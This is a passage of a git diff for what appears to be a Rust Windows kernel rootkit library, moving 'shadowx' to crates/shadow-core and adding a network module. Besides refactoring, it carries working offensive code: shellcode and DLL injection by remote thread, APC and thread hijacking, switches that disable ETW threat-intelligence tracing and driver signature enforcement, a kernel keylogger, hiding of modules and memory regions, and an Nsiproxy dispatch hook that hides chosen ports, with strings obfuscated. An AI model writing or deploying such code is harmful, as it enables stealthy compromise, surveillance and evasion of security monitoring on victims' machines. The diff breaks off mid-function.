crates/shadow-core/src/error.rs index ce7bfa7..91b708e 100644 --- a/shadowx/src/error.rs +++ b/crates/shadow-core/src/error.rs @@ -1,19 +1,15 @@ use alloc::string::String; use thiserror::Error; +pub type ShadowResult = core::result::Result; + #[derive(Debug, Error)] pub enum ShadowError { /// Represents an error where an API call failed. - /// - /// * `{0}` - The name of the API. - /// * `{1}` - The status code returned by the API. #[error("{0} Failed With Status: {1}")] ApiCallFailed(&'static str, i32), /// Represents an error where a function execution failed at a specific line. - /// - /// * `{0}` - The name of the function. - /// * `{1}` - The line number where the function failed. #[error("{0} function failed on the line: {1}")] FunctionExecutionFailed(&'static str, u32), @@ -22,137 +18,75 @@ pub enum ShadowError { InvalidMemory, /// Error when a process with a specific identifier is not found. - /// - /// This error is returned when the system cannot locate a process with the given - /// identifier (e.g., PID or process name). - /// - /// * `{0}` - The identifier of the process that was not found. #[error("Process with identifier {0} not found")] ProcessNotFound(String), /// Error when a thread with a specific TID is not found. - /// - /// This error occurs when a thread with the specified TID cannot be located in the system. - /// - /// * `{0}` - The thread identifier (TID) that was not found. #[error("Thread with TID {0} not found")] ThreadNotFound(usize), /// Represents an invalid device request error. - /// - /// This error occurs when an invalid or unsupported request is made to a device. #[error("Invalid Device Request")] InvalidDeviceRequest, /// Represents an error where a null pointer was encountered. - /// - /// This error occurs when a null pointer is encountered during an operation that - /// requires a valid memory reference. - /// - /// * `{0}` - The name of the pointer that was null. #[error("Pointer is null: {0}")] NullPointer(&'static str), /// Represents an error where a string conversion from a raw pointer failed. - /// - /// This error is returned when the system fails to convert a raw pointer to a string, - /// typically during Unicode or ANSI string conversions. - /// - /// * `{0}` - The memory address of the raw pointer that failed to convert. #[error("Failed to convert string from raw pointer at {0}")] StringConversionFailed(usize), /// Represents an error where a specific module was not found. - /// - /// This error occurs when a module (e.g., a DLL or driver) with the specified name - /// cannot be found in the system. - /// - /// * `{0}` - The name of the module that was not found. #[error("Module {0} not found")] ModuleNotFound(String), /// Represents an error where a driver with a specific name was not found. - /// - /// This error occurs when a driver with the given name cannot be found in the - /// system's loaded drivers list. - /// - /// * `{0}` - The name of the driver that was not found. #[error("Driver {0} not found")] DriverNotFound(String), /// Represents an error where a pattern scan failed to locate a required pattern in memory. - /// - /// This error occurs when a memory pattern scan fails to match the expected byte sequence. #[error("Pattern not found")] PatternNotFound, /// Represents an error where a function could not be found in the specified module. - /// - /// This error occurs when a named function is not found in a given module (DLL). - /// - /// * `{0}` - The name of the function that was not found. #[error("Function {0} not found in module")] FunctionNotFound(String), /// Represents an unknown failure in the system. - /// - /// This is a generic catch-all error for unexpected failures. It includes the name of - /// the failing operation and the line number where the failure occurred. - /// - /// * `{0}` - The operation that failed. - /// * `{1}` - The line number where the failure occurred. #[error("Unknown failure in {0}, at line {1}")] UnknownFailure(&'static str, u32), /// Represents an error when installing or uninstalling a hook on the Nsiproxy driver. - /// - /// This error occurs when the system fails to install or remove a hook on the Nsiproxy driver. #[error("Error handling hook on Nsiproxy driver")] HookFailure, /// Represents an error when a buffer is too small to complete an operation. - /// - /// This error occurs when the provided buffer is not large enough to hold the expected - /// data, resulting in an operation failure. #[error("Small buffer")] BufferTooSmall, /// Represents an error when a buffer is misaligned for the expected data structure. - /// - /// This error occurs when the provided buffer does not have the correct memory alignment - /// required for safe access. #[error("Misaligned buffer")] MisalignedBuffer, /// Error indicating that a callback could not be found. - /// - /// This occurs when the system is unable to locate the expected callback function. #[error("Error searching for the callback")] CallbackNotFound, /// Error indicating that a target with a specific index was not found. - /// - /// This occurs when an operation fails to locate an item by its index in a list or array. - /// - /// # Fields - /// - /// * `{0}` - The index of the target that was not found. #[error("Target not found with index: {0}")] IndexNotFound(usize), /// Error indicating that a failure occurred while removing a callback. - /// - /// This occurs when the system fails to remove a callback that was previously registered. #[error("Error removing a callback")] RemoveFailureCallback, + /// Represents an error when the process's active list entry is invalid, /// such as when both the forward and backward pointers are null. #[error("Invalid list entry encountered")] InvalidListEntry, /// Error indicating that a failure occurred while restoring a callback. - /// - /// This occurs when the system fails to restore a previously removed callback. #[error("Error restoring a callback")] RestoringFailureCallback, } diff --git a/shadowx/src/injection.rs b/crates/shadow-core/src/injection.rs similarity index 90% rename from shadowx/src/injection.rs rename to crates/shadow-core/src/injection.rs index 0214d3d..8601e67 100644 --- a/shadowx/src/injection.rs +++ b/crates/shadow-core/src/injection.rs @@ -1,22 +1,17 @@ use core::{ffi::c_void, mem::transmute, ptr::null_mut}; use obfstr::obfstr as s; use wdk_sys::{ - _MODE::{KernelMode, UserMode}, ntddk::*, + _MODE::{KernelMode, UserMode}, *, }; +use crate::{attach::ProcessAttach, handle::Handle, pool::PoolMemory, *}; use crate::{ - attach::ProcessAttach, - handle::Handle, - pool::PoolMemory, - * -}; -use crate::{ - error::ShadowError, - file::read_file, - patterns::{LDR_SHELLCODE, find_zw_function}, data::KAPC_ENVIROMENT::OriginalApcEnvironment, + error::{ShadowError, ShadowResult}, + file::read_file, + patterns::{find_zw_function, LDR_SHELLCODE}, }; /// Represents shellcode injection operations. @@ -32,9 +27,8 @@ impl Shellcode { /// /// # Returns /// - /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. - /// * `Err(ShadowError)` - If any step fails. - pub unsafe fn thread(pid: usize, path: &str) -> Result { + /// If the injection is successful. + pub unsafe fn thread(pid: usize, path: &str) -> ShadowResult { // Find the address of NtCreateThreadEx to create a thread in the target process let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))? as *mut c_void; @@ -42,7 +36,10 @@ impl Shellcode { let target_eprocess = Process::new(pid)?; // Open the target process with all access rights - let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() }; + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; let mut h_process: HANDLE = null_mut(); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut status = ZwOpenProcess( @@ -75,7 +72,10 @@ impl Shellcode { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + return Err(ShadowError::ApiCallFailed( + "ZwAllocateVirtualMemory", + status, + )); } // Copy the shellcode into the allocated memory in the target process @@ -140,9 +140,8 @@ impl Shellcode { /// /// # Returns /// - /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. - /// * `Err(ShadowError)` - If any step fails. - pub unsafe fn apc(pid: usize, path: &str) -> Result { + /// If the injection is successful. + pub unsafe fn apc(pid: usize, path: &str) -> ShadowResult { // Read the shellcode from the provided file path let shellcode = read_file(path)?; @@ -153,14 +152,17 @@ impl Shellcode { let target_eprocess = Process::new(pid)?; let mut h_process: HANDLE = null_mut(); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); - let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() }; + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; let mut status = ZwOpenProcess( &mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id, ); - + if !NT_SUCCESS(status) { return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); } @@ -181,7 +183,10 @@ impl Shellcode { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + return Err(ShadowError::ApiCallFailed( + "ZwAllocateVirtualMemory", + status, + )); } // Copy the shellcode into the target process's memory @@ -273,9 +278,8 @@ impl Shellcode { /// /// # Returns /// - /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. - /// * `Err(ShadowError)` - If any step fails. - pub unsafe fn thread_hijacking(pid: usize, path: &str) -> Result { + /// If the injection is successful. + pub unsafe fn thread_hijacking(pid: usize, path: &str) -> ShadowResult { // Retrieve the process handle from the given PID let process = Process::new(pid)?; let thread = find_thread(pid)?; @@ -303,7 +307,10 @@ impl Shellcode { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + return Err(ShadowError::ApiCallFailed( + "ZwAllocateVirtualMemory", + status, + )); } // Copy the payload (BUFFER) into the allocated memory in the target process @@ -322,7 +329,10 @@ impl Shellcode { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory [2]", status)); + return Err(ShadowError::ApiCallFailed( + "ZwAllocateVirtualMemory [2]", + status, + )); } // Interpret the allocated memory as a pointer to a CONTEXT structure @@ -372,9 +382,8 @@ impl DLL { /// /// # Returns /// - /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. - /// * `Err(ShadowError)` - If any step fails. - pub unsafe fn thread(pid: usize, path: &str) -> Result { + /// If the injection is successful. + pub unsafe fn thread(pid: usize, path: &str) -> ShadowResult { // Find the address of NtCreateThreadEx to create a thread in the target process let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))?; @@ -384,7 +393,10 @@ impl DLL { // Open the target process let mut h_process = null_mut(); let target_eprocess = Process::new(pid)?; - let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() }; + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut status = ZwOpenProcess( &mut h_process, @@ -413,7 +425,10 @@ impl DLL { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + return Err(ShadowError::ApiCallFailed( + "ZwAllocateVirtualMemory", + status, + )); } // Copy the DLL path into the target process's memory @@ -465,9 +480,8 @@ impl DLL { /// /// # Returns /// - /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. - /// * `Err(ShadowError)` - If any step fails. - pub unsafe fn apc(pid: usize, path: &str) -> Result { + /// If the injection is successful. + pub unsafe fn apc(pid: usize, path: &str) -> ShadowResult { // Find an alertable thread in the target process let tid = find_thread_alertable(pid)?; @@ -477,7 +491,10 @@ impl DLL { // Open the target process let mut h_process = null_mut(); let target_eprocess = Process::new(pid)?; - let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: null_mut() }; + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut status = ZwOpenProcess( &mut h_process, @@ -506,7 +523,10 @@ impl DLL { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + return Err(ShadowError::ApiCallFailed( + "ZwAllocateVirtualMemory", + status, + )); } // Copy the DLL path into the target process's memory @@ -534,7 +554,10 @@ impl DLL { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory [2]", status)); + return Err(ShadowError::ApiCallFailed( + "ZwAllocateVirtualMemory [2]", + status, + )); } LDR_SHELLCODE[6..14].copy_from_slice(&(load_library as usize).to_le_bytes()); diff --git a/shadowx/src/lib.rs b/crates/shadow-core/src/lib.rs similarity index 64% rename from shadowx/src/lib.rs rename to crates/shadow-core/src/lib.rs index d7debe2..0192dcc 100644 --- a/shadowx/src/lib.rs +++ b/crates/shadow-core/src/lib.rs @@ -1,8 +1,4 @@ -//! # shadowx: Kernel-Level Utilities Library -//! -//! **shadowx** is a `#![no_std]` library designed for kernel operations, -//! including process management, thread handling, injection mechanisms, driver interactions, -//! registry manipulation, and more. +//! Kernel-Level Utilities Library #![no_std] #![allow(unused_must_use)] @@ -24,26 +20,23 @@ pub mod registry; /// Kernel callback management. pub mod callback; +mod data; +mod driver; +mod injection; +mod misc; +mod module; +mod offsets; mod process; mod thread; -mod injection; -mod module; -mod driver; -mod misc; mod utils; -mod data; -mod offsets; -pub use process::*; -pub use thread::*; -pub use injection::*; -pub use module::*; -pub use driver::*; -pub use misc::*; -pub use utils::*; pub use data::*; +pub use driver::*; +pub use injection::*; +pub use misc::*; +pub use module::*; pub use network::*; +pub use process::*; pub use registry::*; -pub use callback::*; - -pub(crate) type Result = core::result::Result; +pub use thread::*; +pub use utils::*; diff --git a/shadowx/src/misc.rs b/crates/shadow-core/src/misc.rs similarity index 77% rename from shadowx/src/misc.rs rename to crates/shadow-core/src/misc.rs index 7538a6c..d6fd1d4 100644 --- a/shadowx/src/misc.rs +++ b/crates/shadow-core/src/misc.rs @@ -1,18 +1,18 @@ use core::{ffi::c_void, ptr::null_mut}; use obfstr::obfstr; use wdk_sys::{ - _MEMORY_CACHING_TYPE::MmCached, - _MM_PAGE_PRIORITY::NormalPagePriority, - _MODE::UserMode, - ntddk::*, - *, + ntddk::*, _MEMORY_CACHING_TYPE::MmCached, _MM_PAGE_PRIORITY::NormalPagePriority, + _MODE::UserMode, *, }; -use crate::{attach::ProcessAttach, error::ShadowError}; +use crate::*; use crate::{ address::{get_function_address, get_module_base_address}, - patterns::{ETWTI_PATTERN, scan_for_pattern}, - *, + patterns::{scan_for_pattern, ETWTI_PATTERN}, +}; +use crate::{ + attach::ProcessAttach, + error::{ShadowError, ShadowResult}, }; /// Represents ETW (Event Tracing for Windows) in the operating system. @@ -23,13 +23,12 @@ impl Etw { /// /// # Arguments /// - /// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) ETW tracing. + /// * `enable` - A boolean flag indicating whether to enable or disable ETW tracing. /// /// # Returns /// - /// * `Ok(NTSTATUS)` - If the operation is successful. - /// * `Err(ShadowError)` - If any error occurs while finding the function or modifying the ETWTI structure. - pub unsafe fn etwti_enable_disable(enable: bool) -> Result { + /// If the operation is successful. + pub unsafe fn etwti_enable_disable(enable: bool) -> ShadowResult { // Convert function name to Unicode string for lookup let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode(); @@ -54,13 +53,12 @@ impl Dse { /// /// # Arguments /// - /// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) driver signature enforcement. + /// * `enable` - A boolean flag indicating whether to enable or disable DSE. /// /// # Returns /// - /// * `Ok(NTSTATUS)` - If the operation is successful. - /// * `Err(ShadowError)` - If the function fails to find or modify the DSE state. - pub unsafe fn set_dse_state(enable: bool) -> Result { + /// If the operation is successful. + pub unsafe fn set_dse_state(enable: bool) -> ShadowResult { // Get the base address of the CI.dll module, where the relevant function resides let module_address = get_module_base_address(obfstr!("CI.dll"))?; @@ -94,9 +92,8 @@ impl Keylogger { /// /// # Returns /// - /// * `Ok(*mut c_void)` - If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`. - /// * `Err(ShadowError)` - If any error occurs while finding the address or mapping memory. - pub unsafe fn get_user_address_keylogger() -> Result<*mut c_void> { + /// If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`. + pub unsafe fn get_user_address_keylogger() -> ShadowResult<*mut c_void> { // Get the PID of winlogon.exe let pid = get_process_by_name(obfstr!("winlogon.exe"))?; @@ -135,7 +132,10 @@ impl Keylogger { if address.is_null() { IoFreeMdl(mdl); - return Err(ShadowError::ApiCallFailed("MmMapLockedPagesSpecifyCache", -1)); + return Err(ShadowError::ApiCallFailed( + "MmMapLockedPagesSpecifyCache", + -1, + )); } Ok(address) @@ -145,9 +145,8 @@ impl Keylogger { /// /// # Returns /// - /// * `Ok(*mut u8)` - Returns a pointer to the `gafAsyncKeyState` array if found. - /// * `Err(ShadowError)` - If the array is not found or an error occurs during the search. - unsafe fn get_gafasynckeystate_address() -> Result<*mut u8> { + /// Returns a pointer to the `gafAsyncKeyState` array if found. + unsafe fn get_gafasynckeystate_address() -> ShadowResult<*mut u8> { // Get the base address of win32kbase.sys let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?; diff --git a/shadowx/src/module.rs b/crates/shadow-core/src/module.rs similarity index 90% rename from shadowx/src/module.rs rename to crates/shadow-core/src/module.rs index 75696fa..69f88fc 100644 --- a/shadowx/src/module.rs +++ b/crates/shadow-core/src/module.rs @@ -1,18 +1,10 @@ use alloc::{string::String, vec::Vec}; -use wdk_sys::{ - FILE_OBJECT, NTSTATUS, - RTL_BALANCED_NODE, STATUS_SUCCESS -}; +use wdk_sys::{FILE_OBJECT, NTSTATUS, RTL_BALANCED_NODE, STATUS_SUCCESS}; -use crate::data::{ - LDR_DATA_TABLE_ENTRY, - MMVAD, MMVAD_SHORT, - PEB, PsGetProcessPeb -}; +use crate::data::{PsGetProcessPeb, LDR_DATA_TABLE_ENTRY, MMVAD, MMVAD_SHORT, PEB}; use crate::{ - Result, - error::ShadowError, - offsets::get_vad_root, + error::{ShadowError, ShadowResult}, + offsets::get_vad_root, process::Process, utils::attach::ProcessAttach, }; @@ -34,8 +26,8 @@ impl Module { /// /// * `Ok(Vec)` - A list of loaded modules if enumeration is successful. /// * `Err(ShadowError)` - An error if module enumeration fails. - pub unsafe fn enumerate_module(pid: usize) -> Result> { - let mut modules: Vec = Vec::with_capacity(276); + pub unsafe fn enumerate_module(pid: usize) -> ShadowResult> { + let mut modules = Vec::with_capacity(276); // Attaches the target process to the current context let target = Process::new(pid)?; @@ -69,7 +61,9 @@ impl Module { ); if buffer.is_empty() { - return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize)); + return Err(ShadowError::StringConversionFailed( + (*list_entry).FullDllName.Buffer as usize, + )); } let mut name = [0u16; 256]; @@ -105,13 +99,16 @@ impl Module { /// /// * `Ok(NTSTATUS)` - If the module is successfully hidden. /// * `Err(ShadowError)` - If an error occurs when trying to hide the module. - pub unsafe fn hide_module(pid: usize, module_name: &str) -> Result { + pub unsafe fn hide_module(pid: usize, module_name: &str) -> ShadowResult { let target = Process::new(pid)?; let mut attach_process = ProcessAttach::new(target.e_process); let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; if target_peb.is_null() || (*target_peb).Ldr.is_null() { - return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); + return Err(ShadowError::FunctionExecutionFailed( + "PsGetProcessPeb", + line!(), + )); } let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut wdk_sys::LIST_ENTRY; @@ -173,12 +170,11 @@ impl Module { /// /// # Returns /// - /// * `Ok(NTSTATUS)` - If the module is successfully hidden. - /// * `Err(ShadowError)` - If an error occurs while attempting to hide the module. - pub unsafe fn hide_object(target_address: u64, process: Process) -> Result<()> { + /// If the module is successfully hidden. + pub unsafe fn hide_object(target_address: u64, process: Process) -> ShadowResult<()> { let vad_root = get_vad_root(); - let vad_table = process.e_process.cast::() - .offset(vad_root as isize) as *mut RTL_BALANCED_NODE; + let vad_table = + process.e_process.cast::().offset(vad_root as isize) as *mut RTL_BALANCED_NODE; let current_node = vad_table; // Uses a stack to iteratively traverse the tree @@ -220,13 +216,14 @@ impl Module { return Err(ShadowError::NullPointer("SUBSECTION")); } - let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) as *mut FILE_OBJECT; + let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) + as *mut FILE_OBJECT; core::ptr::write_bytes( (*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize, ); - + break; } diff --git a/crates/shadow-core/src/network.rs b/crates/shadow-core/src/network.rs new file mode 100644 index 0000000..3a3c7a9 --- /dev/null +++ b/crates/shadow-core/src/network.rs @@ -0,0 +1,455 @@ +use alloc::vec::Vec; +use core::{ + ffi::c_void, + mem::size_of, + ptr::{copy, null_mut}, + slice::from_raw_parts_mut, + sync::atomic::{AtomicBool, AtomicPtr, Ordering}, +}; + +use spin::{lazy::Lazy, Mutex}; +use wdk::println; +use wdk_sys::{ + ntddk::{ExFreePool, ObfDereferenceObject}, + _MODE::KernelMode, + *, +}; + +use crate::{ + data::*, + error::{ShadowError, ShadowResult}, + utils::{pool::PoolMemory, uni::str_to_unicode, *}, +}; +use common::{ + enums::{PortType, Protocol}, + structs::TargetPort, +}; + +// The maximum number of ports that can be hidden +const MAX_PORT: usize = 100; + +/// Holds the original NSI dispatch function. +static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut()); + +/// Indicates whether the callback has been activated. +pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false); + +/// List of protected ports, synchronized with a mutex. +pub static PROTECTED_PORTS: Lazy>> = + Lazy::new(|| Mutex::new(Vec::with_capacity(100))); + +/// Represents a Network structure used for hooking into the NSI proxy driver. +pub struct Network; + +impl Network { + /// Control code for the NSI communication. + const NIS_CONTROL_CODE: u32 = 1179675; + + /// Network driver name. + const NSI_PROXY: &str = "\\Driver\\Nsiproxy"; + + /// Installs a hook into the NSI proxy driver to intercept network table operations. + /// + /// # Returns + /// + /// If the hook is installed successfully. + pub unsafe fn install_hook() -> ShadowResult { + let mut driver_object: *mut DRIVER_OBJECT = null_mut(); + let status = ObReferenceObjectByName( + &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), + OBJ_CASE_INSENSITIVE, + null_mut(), + 0, + *IoDriverObjectType, + KernelMode as i8, + null_mut(), + &mut driver_object as *mut _ as *mut *mut c_void, + ); + + // Check if the driver object was referenced successfully. + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed( + "ObReferenceObjectByName", + status, + )); + } + + // Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function. + let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; + if let Some(original_function) = major_function.take() { + // Store the original dispatch function. + let original_function_ptr = original_function as *mut (); + ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst); + + // Replace the dispatch function with the hook. + *major_function = Some(Self::hook_nsi); + HOOK_INSTALLED.store(true, Ordering::SeqCst); + } else { + ObfDereferenceObject(driver_object.cast()); + return Err(ShadowError::HookFailure); + } + + // Dereference the driver object after setting up the hook. + ObfDereferenceObject(driver_object.cast()); + Ok(STATUS_SUCCESS) + } + + /// Uninstalls the NSI hook, restoring the original dispatch function. + /// + /// # Returns + /// + /// If the hook was successfully uninstalled. + pub unsafe fn uninstall_hook() -> ShadowResult { + let mut driver_object: *mut DRIVER_OBJECT = null_mut(); + let status = ObReferenceObjectByName( + &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), + OBJ_CASE_INSENSITIVE, + null_mut(), + 0, + *IoDriverObjectType, + KernelMode as i8, + null_mut(), + &mut driver_object as *mut _ as *mut *mut c_void, + ); + + // Handle error if the driver object can't be referenced. + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed( + "ObReferenceObjectByName", + status, + )); + } + + // If the hook is installed, restore the original dispatch function. + if HOOK_INSTALLED.load(Ordering::SeqCst) { + let major_function = + &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; + + let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); + if !original_function_ptr.is_null() { + let original_function = core::mem::transmute(original_function_ptr); + *major_function = original_function; + + HOOK_INSTALLED.store(false, Ordering::SeqCst); + } else { + ObfDereferenceObject(driver_object.cast()); + return Err(ShadowError::HookFailure); + } + } else { + ObfDereferenceObject(driver_object.cast()); + return Err(ShadowError::HookFailure); + } + + // Dereference the driver object after removing the hook. + ObfDereferenceObject(driver_object.cast()); + Ok(STATUS_SUCCESS) + } + + /// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries. + /// + /// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control + /// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler + /// to inspect and potentially modify network entries. + /// + /// # Arguments + /// + /// * `device_object` - Pointer to the device object associated with the request. + /// * `irp` - Pointer to the IRP (I/O Request Packet) being processed. + /// + /// # Returns + /// + /// The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails. + unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { + let stack = (*irp) + .Tail + .Overlay + .__bindgen_anon_2 + .__bindgen_anon_1 + .CurrentStackLocation; + + // If the control code matches, we replace the completion routine with a custom one. + let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; + if control_code == Self::NIS_CONTROL_CODE { + let context = PoolMemory::new( + POOL_FLAG_NON_PAGED, + size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, + "giud", + ); + + if let Some(addr) = context { + let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); + (*address).0 = (*stack).CompletionRoutine; + (*address).1 = (*stack).Context; + + (*stack).Context = address as *mut c_void; + (*stack).CompletionRoutine = Some(irp_complete); + (*stack).Control |= SL_INVOKE_ON_SUCCESS as u8; + + // Prevent memory deallocation. + core::mem::forget(addr); + } + } + + // Call the original dispatch function. + let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); + let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); + + original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp)) + } +} + +/// Completion routine that modifies network table entries after an NSI operation. +/// +/// This function is called when the IRP operation completes, and it processes the network +/// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion +/// routine, passing the results of the modified entries back to the caller. +/// +/// # Arguments +/// +/// * `device_object` - Pointer to the device object associated with the IRP. +/// * `irp` - Pointer to the IRP being completed. +/// * `context` - Pointer to the context, containing the original completion routine and its arguments. +/// +/// # Returns +/// +/// The result of the original completion routine, or `STATUS_SUCCESS` if processing was successful. +unsafe extern "C" fn irp_complete( + device_object: *mut DEVICE_OBJECT, + irp: *mut IRP, + context: *mut c_void, +) -> NTSTATUS { + let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); + + // Validate the status of the IRP. + if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) { + let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM; + let mut status_success = true; + + // Ensure that the NSI parameter is valid and the context can be accessed. + if !valid_user_memory(nsi_param as u64) { + status_success = false; + } else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() { + status_success = false; + } + + // If the entries are valid, process them. + if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 { + let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY; + let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY; + + // Loop through all entries in the NSI parameter. + for i in 0..(*nsi_param).Count { + match (*nsi_param).Type_ { + COMUNICATION_TYPE::TCP => { + if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64) + || valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64) + { + // Convert the port numbers from big-endian to the host's native format. + let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port); + let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port); + + // Process the TCP entry by copying it into the NSI table, updating ports if necessary. + process_entry_copy( + tcp_entries, + (*nsi_param).Count, + i, + local_port, + Some(remote_port), + Protocol::TCP, + (*nsi_param).StatusEntries, + (*nsi_param).ProcessEntries, + nsi_param, + ); + } + } + COMUNICATION_TYPE::UDP => { + // Check if the UDP local port is a valid user-mode memory address. + if valid_user_memory((*udp_entries.add(i)).Port as u64) { + // Convert the local port number from big-endian to the host's native format. + let local_port = u16::from_be((*udp_entries.add(i)).Port); + + // Process the UDP entry by copying it into the NSI table, updating ports if necessary. + process_entry_copy( + udp_entries, + (*nsi_param).Count, + i, + local_port, + None, + Protocol::UDP, + (*nsi_param).StatusEntries, + (*nsi_param).ProcessEntries, + nsi_param, + ); + } + } + } + } + } + } + + // Call the original completion routine if one exists. + if let Some(original_routine) = (*context_addr).0 { + let mut original_context = null_mut(); + + if !(*context_addr).1.is_null() { + original_context = (*context_addr).1; + } + + ExFreePool(context.cast()); + return original_routine(device_object, irp, original_context); + } + + ExFreePool(context.cast()); + STATUS_SUCCESS +} + +/// Copies network table entries (TCP/UDP) from one index to another and updates associated status +/// and process entries if necessary. +/// +/// # Arguments +/// +/// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced. +/// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer. +/// * `i` - The index of the current entry being processed. +/// * `local_port` - The local port number associated with the current entry. +/// * `remote_port` - An `Option` that may contain the remote port number associated with the current entry, or `None`. +/// * `protocol` - The protocol type (TCP or UDP) being processed for this entry. +/// * `status_entries` - A pointer to the list of status entries related to the network connections. +/// * `process_entries` - A pointer to the list of process entries related to the network connections. +/// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table. +unsafe fn process_entry_copy( + entries: *mut T, + count: usize, + i: usize, + local_port: u16, + remote_port: Option, + protocol: Protocol, + status_entries: *mut NSI_STATUS_ENTRY, + process_entries: *mut NSI_PROCESS_ENTRY, + nsi_param: *mut NSI_PARAM, +) { + let port_number = match (local_port, remote_port) { + // Use remote port if local is zero + (0, Some(remote)) if remote != 0 => remote, + + // Use local port if it's non-zero + (local, _) if local != 0 => local, + _ => { + println!("Both doors are zero, there is no way to process the entrance."); + return; + } + }; + + let port_type = if remote_port.unwrap_or(0) != 0 { + PortType::REMOTE + } else { + PortType::LOCAL + }; + + let info = TargetPort { + protocol, + port_type, + port_number, + enable: true, + }; + + // If the port is protected, modify the network entries + if PROTECTED_PORTS.lock().contains(&info) { + let mut entries_index = i + 1; + if entries_index >= count { + entries_index = i - 1; + } + + // Copies TCP/UDP entries + let entries_slice = from_raw_parts_mut(entries, count); + copy( + &entries_slice[entries_index], + &mut entries_slice[i], + count - entries_index, + ); + + // Verify and copy status_entries + if !status_entries.is_null() { + let status_entries_slice = from_raw_parts_mut(status_entries, count); + if entries_index < status_entries_slice.len() { + copy( + &status_entries_slice[entries_index], + &mut status_entries_slice[i], + count - entries_index, + ); + } + } + + // Check and copy process_entries + if !process_entries.is_null() { + let process_entries_slice = 